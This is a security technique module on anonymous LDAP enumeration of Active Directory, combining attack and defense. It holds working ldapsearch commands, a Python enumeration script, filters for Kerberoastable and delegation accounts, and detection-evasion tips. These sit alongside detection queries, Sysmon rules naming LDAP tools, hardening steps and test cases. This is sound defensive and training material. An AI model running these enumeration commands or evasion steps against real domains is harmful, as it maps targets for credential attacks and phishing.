| Field | Value |
|---|---|
| Module ID | REC-AD-002 |
| Technique Name | Anonymous LDAP Binding domain extraction |
| MITRE ATT&CK ID | T1589.002 – Gather Victim Identity Information: Email Addresses |
| CVE | N/A (Legacy feature) |
| Platform | Windows Active Directory |
| Viability Status | ACTIVE ✓ |
| Difficulty to Detect | MEDIUM |
| Requires Authentication | No (for RootDSE discovery); Optional (for full enumeration) |
| Applicable Versions | Windows Server 2012 R2+ (all AD versions) |
| Last Verified | December 2025 |
| Author | SERVTEP – Artur Pchelnikau |
Anonymous LDAP binding domain extraction is a foundational reconnaissance technique leveraging the Lightweight Directory Access Protocol (LDAP) to enumerate Active Directory structure and identity information without authentication. Unlike authenticated attacks, anonymous LDAP queries against properly configured domains can extract critical metadata including domain naming conventions, organizational structure, and in misconfigured environments, comprehensive user and computer listings.
Threat Profile: An external or internal attacker with network access to LDAP ports (389, 636, 3268, 3269) can:
Business Impact:
sudo apt-get install ldap-utils (Linux) or included in macOSpip install ldap3nmap -p 389,636,3268,3269 -sV --script ldap-rootdse <target>Import-Module ActiveDirectoryBefore executing LDAP enumeration, conduct open-source reconnaissance to establish:
nslookup company.comnslookup -query=MX company.comnslookup -type=SRV _ldap._tcp.dc._msdcs.company.comnmap -p 389,636 -sV --script ldap-rootdse <subnet>Objective: Extract domain structure metadata without authentication.
# Using ldapsearch - anonymous query to RootDSE
ldapsearch -x -H ldap://10.10.10.100:389 -b "" -s base "(objectclass=*)"
# Expected Output:
# dn:
# objectClass: top
# objectClass: MSAD_Container
# currentTime: 20250101120000.0Z
# subschemaSubentry: CN=Aggregate,CN=Schema,CN=Configuration,DC=company,DC=com
# dsServiceName: CN=NTDS Settings,CN=DC01,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=company,DC=com
# namingContexts: DC=company,DC=com
# namingContexts: CN=Configuration,DC=company,DC=com
# namingContexts: CN=Schema,DC=company,DC=com
# defaultNamingContext: DC=company,DC=com
# schemaNamingContext: CN=Schema,CN=Configuration,DC=company,DC=com
# configurationNamingContext: CN=Configuration,DC=company,DC=com
# rootDomainNamingContext: DC=company,DC=com
# supportedLDAPVersion: 3
# dnsHostName: dc01.company.com
# ldapServiceName: company.com:dc01$
Information Extracted:
Objective: Extract all domain user accounts and properties.
# Query all user objects in domain
ldapsearch -x -H ldap://10.10.10.100:389 -b "DC=company,DC=com" \
-f "(&(objectClass=user)(objectCategory=person))" \
sAMAccountName mail displayName userAccountControl
# Or simpler, enumerate just usernames:
ldapsearch -x -H ldap://10.10.10.100:389 -b "DC=company,DC=com" \
"objectClass=user" sAMAccountName | grep sAMAccountName | awk -F": " '{print $2}'
# Expected Output:
# sAMAccountName: Administrator
# sAMAccountName: Guest
# sAMAccountName: krbtgt
# sAMAccountName: john.smith
# sAMAccountName: jane.doe
# sAMAccountName: db_service
# sAMAccountName: web_admin
# ... (all domain users)
Data Available Per User:
Objective: Extract all domain computers and service accounts.
# Enumerate all computer objects
ldapsearch -x -H ldap://10.10.10.100:389 -b "DC=company,DC=com" \
"objectClass=computer" sAMAccountName dNSHostName operatingSystem
# Expected Output:
# sAMAccountName: DC01$
# dNSHostName: dc01.company.com
# operatingSystem: Windows Server 2019 Datacenter
#
# sAMAccountName: WS01$
# dNSHostName: ws01.company.com
# operatingSystem: Windows 10 Enterprise
#
# sAMAccountName: SQL01$
# dNSHostName: sql01.company.com
# operatingSystem: Windows Server 2016 Standard
# Enumerate service accounts (users with service principal names):
ldapsearch -x -H ldap://10.10.10.100:389 -b "DC=company,DC=com" \
"(servicePrincipalName=*)" sAMAccountName servicePrincipalName
# Expected Output:
# sAMAccountName: krbtgt
# servicePrincipalName: kadmin/changepw
#
# sAMAccountName: sql_svc
# servicePrincipalName: MSSQLSvc/sql01.company.com
# servicePrincipalName: MSSQLSvc/sql01.company.com:1433
Data Available Per Computer:
Objective: Identify high-privilege accounts and group memberships.
# List all domain groups
ldapsearch -x -H ldap://10.10.10.100:389 -b "DC=company,DC=com" \
"objectClass=group" sAMAccountName description
# List Domain Admins group members:
ldapsearch -x -H ldap://10.10.10.100:389 -b "CN=Domain Admins,CN=Users,DC=company,DC=com" \
-s base "objectClass=*" member
# Expected Output:
# member: CN=Administrator,CN=Users,DC=company,DC=com
# member: CN=John Smith,CN=Users,DC=company,DC=com
# member: CN=John Smith2,CN=Users,DC=company,DC=com
# Identify accounts with sensitive permissions (adminCount=1):
ldapsearch -x -H ldap://10.10.10.100:389 -b "DC=company,DC=com" \
"(adminCount=1)" sAMAccountName displayName adminCount
# Expected Output:
# sAMAccountName: Administrator
# adminCount: 1
#
# sAMAccountName: john.smith
# adminCount: 1
Objective: Map domain organizational structure and forest trusts.
# Enumerate all organizational units:
ldapsearch -x -H ldap://10.10.10.100:389 -b "DC=company,DC=com" \
"objectClass=organizationalUnit" ou
# Expected Output:
# ou: Users
# ou: Computers
# ou: Domain Controllers
# ou: Finance
# ou: Engineering
# ou: Sales
# ...
# Enumerate domain trusts (cross-forest, external):
ldapsearch -x -H ldap://10.10.10.100:389 -b "CN=System,DC=company,DC=com" \
"objectClass=trustedDomain" name trustAttributes trustDirection
# Expected Output:
# name: subsidiary.com
# trustAttributes: TRANSITIVE, WITHIN_FOREST
# trustDirection: BIDIRECTIONAL
Objective: Large-scale, automated domain enumeration using Python.
from ldap3 import Server, Connection, ALL
# Connect to domain controller
server = Server('10.10.10.100', get_info=ALL, port=389)
conn = Connection(server)
# Anonymous bind (no credentials)
if conn.bind():
print("[+] Anonymous bind successful")
# Get root DSE information
conn.search('', '(objectClass=*)', attributes=['*', '+'])
for entry in conn.entries:
print(f"Default Naming Context: {entry.defaultNamingContext}")
print(f"DNS Hostname: {entry.dnsHostName}")
# Enumerate all users
conn.search('DC=company,DC=com', '(&(objectClass=user)(objectCategory=person))',
attributes=['sAMAccountName', 'mail', 'displayName', 'userAccountControl'])
print(f"\n[+] Found {len(conn.entries)} users:")
for entry in conn.entries:
print(f" {entry.sAMAccountName}: {entry.mail}")
# Enumerate computers
conn.search('DC=company,DC=com', '(objectClass=computer)',
attributes=['sAMAccountName', 'dNSHostName', 'operatingSystem'])
print(f"\n[+] Found {len(conn.entries)} computers:")
for entry in conn.entries:
print(f" {entry.sAMAccountName}: {entry.dNSHostName}")
# Enumerate Domain Admins
conn.search('CN=Domain Admins,CN=Users,DC=company,DC=com', '(objectClass=*)',
attributes=['member'])
print(f"\n[+] Domain Admins:")
for entry in conn.entries:
for member in entry.member:
print(f" {member}")
else:
print("[-] Bind failed")
print(conn.result)
conn.unbind()
Objective: Complete domain export for offline analysis.
# Install ldapdomaindump
pip install ldapdomaindump
# Run domain dump (anonymous):
ldapdomaindump -u '' -p '' -d '' 10.10.10.100
# Or with credentials:
ldapdomaindump -u 'COMPANY\username' -p 'password' 10.10.10.100
# Outputs:
# domain_users_by_group.json
# domain_users.json
# domain_computers.json
# domain_groups.json
# domain_policy.json
# domain_trusts.json
# Convert to human-readable format:
cat domain_users.json | jq '.[] | {username: .sAMAccountName, email: .mail, enabled: .userAccountControl}'
| Tool | Platform | Authentication | Output | Best For |
|---|---|---|---|---|
| ldapsearch | Linux/macOS | Anonymous/Auth | Text/LDIF | Quick queries, specific filters |
| python-ldap3 | Cross-platform | Programmatic | Custom format | Bulk automation, data parsing |
| BloodHound + SharpHound | Windows | Authenticated | JSON (graph) | Attack path visualization |
| ldapdomaindump | Linux/macOS | Anonymous/Auth | JSON files | Complete domain export |
| ldeep | Linux/macOS | Anonymous/Auth | JSON/CSV | Delegations, group policies |
| netexec | Linux/macOS | Multi-protocol | Structured output | Multi-domain reconnaissance |
| PowerView | Windows | Authenticated | PowerShell objects | Integrated AD enumeration |
| certipy | Linux/macOS | Authenticated | JSON | AD Certificate Services |
# All users
(objectClass=user)
# All computers
(objectClass=computer)
# All groups
(objectClass=group)
# Enabled users only
(&(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))
# Service accounts (SPN)
(servicePrincipalName=*)
# Admin accounts
(adminCount=1)
# Domain Admins members
(memberOf=CN=Domain Admins,CN=Users,DC=company,DC=com)
# Kerberoastable accounts (SPN, not disabled)
(&(servicePrincipalName=*)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))
# AS-REP roastable accounts (pre-auth disabled)
(userAccountControl:1.2.840.113556.1.4.803:=4194304)
# Accounts with unconstrained delegation
(userAccountControl:1.2.840.113556.1.4.803:=524288)
# Accounts with resource-based constrained delegation
(msDS-AllowedToActOnBehalfOfOtherIdentity=*)
# Local admin password solution (LAPS) objects
(objectClass=ms-Mcs-AdmPwdExpirationTime)
# Use LDAPS (encrypted) to avoid plaintext monitoring
ldapsearch -H ldaps://10.10.10.100:636 -b "DC=company,DC=com" ...
# Query through VPN/proxy to mask source IP
export HTTP_PROXY=http://proxy.example.com:8080
ldapsearch -H ldap://10.10.10.100:389 ...
# Randomize query patterns to avoid correlation
# Query specific users/groups instead of bulk "objectClass=*"
# Spread queries over time with delays
# Use legitimate tools (native ldapsearch vs. suspicious binaries)
# Query from legitimate-looking source (AD-joined system vs. Kali)
Objective: Verify ability to bind anonymously to target domain.
Procedure:
ldapsearch -x -H ldap://10.10.10.100:389 -b "" -s base "(objectClass=*)" \
defaultNamingContext dnsHostName
# Or using python:
python3 << 'EOF'
from ldap3 import Server, Connection
try:
server = Server('10.10.10.100', port=389)
conn = Connection(server)
if conn.bind():
print("✓ Test PASSED: Anonymous bind successful")
else:
print("✗ Test FAILED: Anonymous bind denied")
except Exception as e:
print(f"✗ Test FAILED: {e}")
EOF
Success Criteria: Returns RootDSE information (defaultNamingContext, dnsHostName).
Objective: Verify ability to enumerate domain users.
Procedure:
USER_COUNT=$(ldapsearch -x -H ldap://10.10.10.100:389 -b "DC=company,DC=com" \
"(&(objectClass=user)(objectCategory=person))" sAMAccountName | grep "sAMAccountName:" | wc -l)
if [ $USER_COUNT -gt 0 ]; then
echo "✓ Test PASSED: Found $USER_COUNT users"
else
echo "✗ Test FAILED: No users enumerated"
fi
Success Criteria: Returns count > 0 of enumerated users.
Objective: Verify identification of Kerberoastable accounts.
Procedure:
KERBEROASTABLE=$(ldapsearch -x -H ldap://10.10.10.100:389 -b "DC=company,DC=com" \
"(&(servicePrincipalName=*)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))" \
sAMAccountName servicePrincipalName | grep -c "sAMAccountName:")
if [ $KERBEROASTABLE -gt 0 ]; then
echo "✓ Test PASSED: Found $KERBEROASTABLE Kerberoastable accounts"
else
echo "⚠ Test PASSED (Expected): No Kerberoastable accounts found"
fi
Success Criteria: Returns count of accounts with servicePrincipalName (or zero if hardened).
Objective: Verify identification of high-privilege accounts.
Procedure:
ADMIN_COUNT=$(ldapsearch -x -H ldap://10.10.10.100:389 -b "DC=company,DC=com" \
"(adminCount=1)" sAMAccountName | grep -c "sAMAccountName:")
if [ $ADMIN_COUNT -gt 1 ]; then
echo "✓ Test PASSED: Found $ADMIN_COUNT admin-equivalent accounts"
else
echo "✗ Test FAILED: Expected multiple admin accounts"
fi
Success Criteria: Returns count >= 1 of accounts with adminCount=1.
Objective: Verify ability to determine domain capabilities.
Procedure:
DFL=$(ldapsearch -x -H ldap://10.10.10.100:389 -b "DC=company,DC=com" \
-s base "objectClass=domain" msDS-Behavior-Version | grep "msDS-Behavior-Version" | awk '{print $2}')
case $DFL in
10) echo "✓ Test PASSED: Domain Functional Level = 2012 R2" ;;
11) echo "✓ Test PASSED: Domain Functional Level = 2016" ;;
13) echo "✓ Test PASSED: Domain Functional Level = 2019+" ;;
*) echo "⚠ Test PASSED: Domain Functional Level = $DFL" ;;
esac
Success Criteria: Returns valid DFL version (10, 11, 13, etc.).
Rule Configuration:
KQL Query:
let timerange = 1h;
let SuspiciousFilters = dynamic([
"(objectClass=user)",
"(objectClass=computer)",
"(objectClass=group)",
"(adminCount=1)",
"(servicePrincipalName=*)",
"(userAccountControl:1.2.840.113556.1.4.803:=2)",
"(&(objectCategory=person)",
"(&(objectClass=user)"
]);
SecurityEvent
| where TimeGenerated > ago(timerange)
| where EventID == 1644 // LDAP Query
| extend LdapQueryData = parse_json(EventData)
| extend SearchFilter = tostring(LdapQueryData.SearchFilter)
| where SearchFilter in (SuspiciousFilters) or SearchFilter contains "Domain Admins"
| summarize
QueryCount = count(),
UniqueFilters = dcount(SearchFilter),
FirstQuery = min(TimeGenerated),
LastQuery = max(TimeGenerated)
by Computer, SearchFilter
| where QueryCount > 10 // Bulk query threshold
| extend AlertSeverity = "Medium", TechniqueID = "T1589.002"
What This Detects:
Manual Configuration Steps (Azure Portal):
Suspicious LDAP Query Pattern DetectionMedium5 minutes1 hourRule Configuration:
KQL Query:
let timerange = 1h;
let HighPrivilegeOUs = dynamic([
"CN=Domain Admins",
"CN=Enterprise Admins",
"CN=Schema Admins",
"CN=Group Policy Creator Owners"
]);
SecurityEvent
| where TimeGenerated > ago(timerange)
| where EventID == 4662 // Operation performed on object
| extend ObjectName = tostring(EventData.ObjectName)
| extend Properties = tostring(EventData.Properties)
| where ObjectName in (HighPrivilegeOUs) or ObjectName contains "AdminSDHolder"
| extend AccessMask = tostring(EventData.AccessMask)
| where AccessMask contains "ReadProperty" or AccessMask contains "ReadControl"
| summarize
ReadCount = count(),
FirstRead = min(TimeGenerated),
LastRead = max(TimeGenerated),
DistinctObjects = dcount(ObjectName)
by Computer, Account, ObjectName
| where ReadCount > 5
| extend AlertSeverity = "High", TechniqueID = "T1589.002"
What This Detects:
Log Source: Directory Service (enable in NTDS Diagnostics)
Trigger: Any LDAP query to domain controller (when logging enabled)
Configuration Steps (Enable Logging):
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Diagnostics# PowerShell equivalent:
$RegPath = "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Diagnostics"
Set-ItemProperty -Path $RegPath -Name "15 LDAP Interface Events" -Value 5
Set-ItemProperty -Path $RegPath -Name "Expensive Search Results Threshold" -Value 1
Set-ItemProperty -Path $RegPath -Name "Inefficient Search Result Threshold" -Value 1
# Restart NTDS service
Restart-Service NTDS -Force
Event 1644 Data Fields:
Manual Tuning:
# Create alert for queries returning >1000 results
$Filter = @{
LogName = 'Directory Service'
ID = 1644
}
Get-WinEvent -FilterHashtable $Filter | Where-Object {
$_.Properties[7] -gt 1000 # ResultCount field
}
Log Source: Security
Prerequisite: SACL configuration on AD objects
Configuration Steps (Enable SACL):
# PowerShell equivalent (Advanced):
$domain = Get-ADDomain
$domainDN = $domain.DistinguishedName
# Create SACL rule for Everyone group
$ACL = Get-Acl -Path "AD:\$domainDN"
$EveryoneSID = New-Object System.Security.Principal.SecurityIdentifier("S-1-1-0")
$ace = New-Object System.DirectoryServices.ActiveDirectoryAuditRule(
$EveryoneSID,
[System.DirectoryServices.ActiveDirectoryRights]::ReadProperty,
[System.Security.AccessControl.AuditFlags]::Success
)
$ACL.AddAuditRule($ace)
Set-Acl -Path "AD:\$domainDN" -AclObject $ACL
Event 4662 Data Fields:
Minimum Sysmon Version: 13.0+ Supported Platforms: Windows 10+, Server 2016+
Sysmon Config Snippet (for detecting LDAP client activity):
<Sysmon schemaversion="4.30">
<EventFiltering>
<!-- Capture network connections to LDAP ports (389, 636, 3268, 3269) -->
<NetworkConnect onmatch="include">
<DestinationPort condition="is">389</DestinationPort>
<DestinationPort condition="is">636</DestinationPort>
<DestinationPort condition="is">3268</DestinationPort>
<DestinationPort condition="is">3269</DestinationPort>
</NetworkConnect>
<!-- Capture process creation for known LDAP tools -->
<ProcessCreate onmatch="include">
<CommandLine condition="contains">ldapsearch</CommandLine>
<CommandLine condition="contains">ldapdomaindump</CommandLine>
<CommandLine condition="contains">BloodHound</CommandLine>
<CommandLine condition="contains">SharpHound</CommandLine>
<CommandLine condition="contains">ldap3</CommandLine>
<CommandLine condition="contains">netexec</CommandLine>
</ProcessCreate>
<!-- Capture suspicious PowerShell LDAP queries -->
<ProcessCreate onmatch="include">
<CommandLine condition="contains">DirectorySearcher</CommandLine>
<CommandLine condition="contains">LDAP://</CommandLine>
<CommandLine condition="contains">Get-ADUser</CommandLine>
<CommandLine condition="contains">Get-ADComputer</CommandLine>
</ProcessCreate>
</EventFiltering>
</Sysmon>
Manual Configuration Steps:
sysmon64.exe -accepteula -i sysmon-config.xml
Get-Service Sysmon64 | Select-Object Status
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -FilterXPath "*[EventData[Data[@Name='DestinationPort'] and (Data='389' or Data='636')]]" | Format-Table TimeCreated, Computer
Alert Name: “Reconnaissance activities detected via LDAP queries”
Manual Configuration Steps (Enable MDI Logging):
Advanced Hunting Query (Microsoft Defender for Identity):
IdentityQueryEvents
| where ActionType == "LDAP query"
| where TimeGenerated > ago(1h)
| extend QueryDetails = parse_json(Query)
| extend SearchFilter = tostring(QueryDetails.SearchFilter)
| where SearchFilter contains "objectClass=user" or
SearchFilter contains "adminCount=1" or
SearchFilter contains "servicePrincipalName=*"
| summarize QueryCount = count() by Device, QueryDetails, SearchFilter
| where QueryCount > 50
Note: Microsoft Purview does not log LDAP queries directly. Instead, monitor:
# Collect and forward Directory Service logs to Sentinel
# Configure Windows Event Forwarding (WEF) on domain controllers:
# 1. Create Subscription on Central Collector
wecutil cs "LDAP Forwarding Subscription"
# 2. Define query for LDAP events (Event IDs 1644, 4662)
# 3. Forward to Log Analytics Workspace
# Then query in Sentinel/Log Analytics:
SecurityEvent
| where EventID in (1644, 4662)
| where TimeGenerated > ago(24h)
| extend LdapData = parse_json(EventData)
| project TimeGenerated, Computer, Account, EventID, LdapData
| Activity | Appears As | Legitimate Reason | How to Distinguish |
|---|---|---|---|
| Active Directory synchronization tools | Bulk LDAP queries | Azure AD Connect, Okta sync | Scheduled pattern, service account, predictable filters |
| Backup/recovery operations | User/computer enumeration | Veeam, Commvault, Bacula | Scheduled jobs, consistent scope, backup service account |
| Compliance scanning tools | Extensive property queries | Delinea, Beyondtrust, Nessus | Scheduled scans, known source IPs, audit context |
| Help Desk automation | User lookups | ServiceNow, Jira, Zendesk | Limited filters (specific user search), low volume |
| Security monitoring tools | Authentication queries | Rapid7, CrowdStrike, Qualys | Whitelisted tool binaries, expected patterns |
| Active Directory Replication | RootDSE & schema queries | Inter-DC replication | DC-to-DC traffic, system accounts only |
Tuning Recommendations:
// Exclude known legitimate LDAP query sources
let WhitelistedAccounts = dynamic(["SYSTEM", "NETWORK SERVICE", "AzureADConnect$", "svc_sync"]);
let WhitelistedComputers = dynamic(["DC01", "DC02", "AADSYNC01"]);
let WhitelistedTools = dynamic(["LdapSyncTool.exe", "ActiveDirectorySync.exe"]);
SecurityEvent
| where EventID == 1644
| where !Account in (WhitelistedAccounts)
| where !Computer in (WhitelistedComputers)
| extend ProcessName = tostring(EventData.ProcessName)
| where ProcessName !in (WhitelistedTools)
// ... rest of detection query
Manual Steps (PowerShell):
$RootDSE = Get-ADRootDSE
$ObjectPath = 'CN=Directory Service,CN=Windows NT,CN=Services,{0}' -f $RootDSE.ConfigurationNamingContext
Set-ADObject -Identity $ObjectPath -Add @{ 'msDS-Other-Settings' = 'DenyUnauthenticatedBind=1' }
Verification:
$RootDSE = Get-ADRootDSE
$ObjectPath = 'CN=Directory Service,CN=Windows NT,CN=Services,{0}' -f $RootDSE.ConfigurationNamingContext
Get-ADObject -Identity $ObjectPath -Properties msDS-Other-Settings
Impact: Blocks anonymous user/computer enumeration; RootDSE queries still allowed.
Manual Steps (Registry):
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\DiagnosticsManual Steps (PowerShell):
$RegPath = "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Diagnostics"
Set-ItemProperty -Path $RegPath -Name "15 LDAP Interface Events" -Value 5
Set-ItemProperty -Path $RegPath -Name "Expensive Search Results Threshold" -Value 1
Set-ItemProperty -Path $RegPath -Name "Inefficient Search Result Threshold" -Value 1
Restart-Service NTDS
Manual Steps:
nmap -p 636 dc01.company.com -sVManual Steps (Windows Firewall):
# Block LDAP from non-domain systems
New-NetFirewallRule -DisplayName "Block LDAP from Internet" `
-Direction Inbound -Action Block -Protocol TCP -LocalPort 389,636 `
-RemoteAddress "!<TrustedSubnet>"
Manual Steps:
Manual Steps (Active Directory):
If LDAP reconnaissance is suspected:
# Export all LDAP queries from last 7 days
Get-WinEvent -LogName "Directory Service" -FilterXPath "*[System[EventID=1644] and System[TimeCreated[@SystemTime > '$(Get-Date -Date (Get-Date).AddDays(-7) -Format 's')']]]" |
Export-Csv -Path "C:\Forensics\LDAP_Queries_7days.csv" -NoTypeInformation
Get-WinEvent -LogName "Security" -FilterXPath "*[System[EventID=4662] and System[TimeCreated[@SystemTime > '$(Get-Date -Date (Get-Date).AddDays(-7) -Format 's')']]]" |
Export-Csv -Path "C:\Forensics\Object_Access_7days.csv" -NoTypeInformation
SecurityEvent
| where TimeGenerated > ago(7d)
| where EventID in (1644, 4662)
| summarize EventCount = count() by Computer, Account, EventID
| sort by EventCount desc
| Preceding Technique | Current Technique | Following Technique |
|---|---|---|
| T1595 (Active Scanning) | T1589.002 (LDAP Enumeration) | T1087 (Account Discovery) |
| T1619 (Network Topology Analysis) | ← | T1087.002 (Domain Account Discovery) |
| T1046 (Network Service Scanning) | ← | T1110 (Brute Force) |
| T1558 (Kerberos Ticket Theft) | ||
| T1550 (Use Alternate Auth Material) | ||
| T1548 (Privilege Escalation) |
Phase 1: External Reconnaissance
├─ Identify domain name (OSINT)
├─ Scan for LDAP service (Nmap port 389)
└─ Test anonymous LDAP binding
Phase 2: Domain Structure Mapping (T1589.002)
├─ Extract RootDSE information
├─ Enumerate users, groups, computers
├─ Identify service accounts with SPNs
├─ Locate high-privilege accounts (Domain Admins)
└─ Map organizational structure
Phase 3: Targeted Attack Preparation (T1087.002)
├─ Select Kerberoastable accounts for attack
├─ Identify accounts with delegation rights
├─ Build BloodHound attack graph
└─ Identify users for phishing campaigns
Phase 4: Credential Compromise (T1566 - Phishing)
├─ Send targeted emails to enumerated users
├─ Harvest credentials or sessions
└─ Gain initial foothold
Phase 5: Lateral Movement & Escalation
├─ Execute Kerberoasting attack (T1558.003)
├─ Abuse delegation rights (T1548.004)
├─ Escalate to Domain Admin
└─ Establish persistence
Campaign: LockBit 3.0 Affiliate Activity (2023-2024)
Execution:
Get-NetUser -LDAPFilter "(adminCount=1)" | Select-Object samaccountname
Detection Opportunities:
Lessons:
Campaign: 3CX Desktop Application Supply Chain Attack (2023)
Reconnaissance Phase:
Persistence Strategy:
Detection Opportunities:
| Standard | Requirement | Mapping |
|---|---|---|
| CIS Controls v8 | CIS 6.1, 6.2 (Account Management) | Restrict and audit LDAP query access; implement query logging |
| DISA STIG | Windows Server LDAP hardening | Enable LDAP signing, disable unauthenticated binds, enforce SSL |
| NIST 800-53 | AC-2 (Account Management), SC-7 (Boundary Protection) | Implement network segmentation for LDAP access; monitor for reconnaissance |
| GDPR | Article 32 (Security Measures) | Implement technical controls to prevent unauthorized information gathering |
| DORA | Operational Resilience in Cloud Services | Monitor identity service security events; implement alerting and response procedures |
| NIS2 | Detection of Reconnaissance | Monitor for bulk information gathering; implement alerting thresholds |
| ISO 27001:2022 | 5.2 (Information Security Policies), 8.2 (Access Control) | Restrict LDAP query scope to authorized users; enable comprehensive logging |
- name: LDAP Enumeration - Query Domain Users
description: Enumerate domain users via LDAP anonymous binding
supported_platforms:
- linux
- macos
input_arguments:
ldap_server:
description: IP or hostname of LDAP server
type: string
default: "10.10.10.100"
domain_dn:
description: Domain distinguished name
type: string
default: "DC=company,DC=com"
executor:
name: bash
elevation_required: false
command: |
ldapsearch -x -H ldap://#{ldap_server}:389 -b "#{domain_dn}" \
"(&(objectClass=user)(objectCategory=person))" \
sAMAccountName mail displayName
- name: LDAP Enumeration - Query Domain Admins
description: Identify Domain Admins group members via LDAP
supported_platforms:
- linux
- macos
input_arguments:
ldap_server:
description: IP or hostname of LDAP server
type: string
default: "10.10.10.100"
domain_dn:
description: Domain distinguished name
type: string
default: "DC=company,DC=com"
executor:
name: bash
elevation_required: false
command: |
ldapsearch -x -H ldap://#{ldap_server}:389 \
-b "CN=Domain Admins,CN=Users,#{domain_dn}" \
-s base "objectClass=*" member